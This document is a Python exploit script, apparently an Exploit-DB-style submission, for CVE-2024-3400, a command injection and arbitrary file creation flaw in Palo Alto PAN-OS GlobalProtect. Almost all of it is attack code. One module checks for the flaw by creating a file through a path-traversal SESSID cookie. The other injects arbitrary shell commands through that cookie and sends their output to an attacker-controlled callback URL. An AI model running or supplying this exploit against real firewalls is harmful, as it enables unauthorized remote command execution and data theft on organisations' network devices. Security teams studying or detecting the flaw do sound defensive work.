1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 |
# Exploit Title: Palo Alto PAN-OS< v11.1.2-h3- Command Injection and Arbitrary File Creation # Date: 21 Apr 2024 # Exploit Author: Kr0ff # Vendor Homepage: https://security.paloaltonetworks.com/CVE-2024-3400 # Software Link: - # Version: PAN-OS 11.1 < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3 #PAN-OS 11.0 < 11.0.0-h3, < 11.0.1-h4, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1 #PAN-OS 10.2 < 10.2.0-h3, < 10.2.1-h2, < 10.2.2-h5, < 10.2.3-h13, < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 # Tested on: Debian # CVE : CVE-2024-3400 #!/usr/bin/env python3 import sys try: import argparse import requests except ImportError: print("Missing dependencies, either requests or argparse not installed") sys.exit(2) # https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis # https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ def check_vuln(target: str, file: str) -> bool: ret = False uri = "/ssl-vpn/hipreport.esp" s = requests.Session() r = "" headers = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0 "Content-Type": "application/x-www-form-urlencoded", "Cookie": \ f"SESSID=../../../var/appweb/sslvpndocs/global-protect/portal/images/{file}" } headers_noCookie = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" # Windows 10 Chrome 118.0.0.0 } if not "http://" or not "https://" in target: target = "http://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTP\" !{e}") print("Trying with \"HTTPS\"...") target = "https://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTPS\"") sys.exit(1) else: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) if r.status_code == 200: r = s.get( (target + f"/global-protect/portal/images/{file}"), verify=False, headers=headers_noCookie, timeout=10 ) if r.status_code == 403: print("Target vulnerable to CVE-2024-3400") ret = True else: return ret return ret def cmdexec(target: str, callback_url: str, payload: str) -> bool: ret = False p = "" if " " in payload: p = payload.replace(" ", "${IFS)") uri = "/ssl-vpn/hipreport.esp" headers = { "User-Agent" : \ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0 "Content-Type": "application/x-www-form-urlencoded", "Cookie": \ f"SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/attack782<code>{callback_url}?r=$({payload})</code>" } s = requests.Session() r = "" if not "http://" or not "https://" in target: target = "http://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTP\" !{e}") print("Trying with \"HTTPS\"...") target = "https://" + target try: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) except requests.exceptions.Timeout or requests.ConnectionError as e: print(f"Request timed out for \"HTTPS\"") sys.exit(1) else: r = s.post( (target + uri), verify=False, headers=headers, timeout=10 ) if not "Success" in r.text: return ret else: ret = True return ret #Initilize parser for arguments def argparser(selection=None): parser = argparse.ArgumentParser( description='CVE-2024-3400 - Palo Alto OS Command Injection' ) subparser = parser.add_subparsers( help="Available modules", dest="module") exploit_subp = subparser.add_parser( "exploit", help="Exploit module of script") exploit_subp.add_argument( "-t", "--target",help="Target to send payload to", required=True ) exploit_subp.add_argument( "-p", "--payload", help="Payload to send (e.g: whoami)", required=True ) exploit_subp.add_argument( "-c", "--callbackurl", help="The callback url such as burp collaborator or similar", required=True ) #--------------------------------------- check_subp = subparser.add_parser( "check", help="Vulnerability check module of script" ) check_subp.add_argument( "-t", "--target", help="Target to check if vulnerable", required=True ) check_subp.add_argument( "-f", "--filename", help="Filename of the payload (e.g \"exploitCheck.exp\"", required=True ) args = parser.parse_args(selection) args = parser.parse_args(args=None if sys.argv[1:] else ["-h"]) if args.module == "exploit": cmdexec(args.target, args.callbackurl, args.payload) if args.module == "check": check_vuln(args.target, args.filename) if __name__ == "__main__": argparser() print("Finished !") |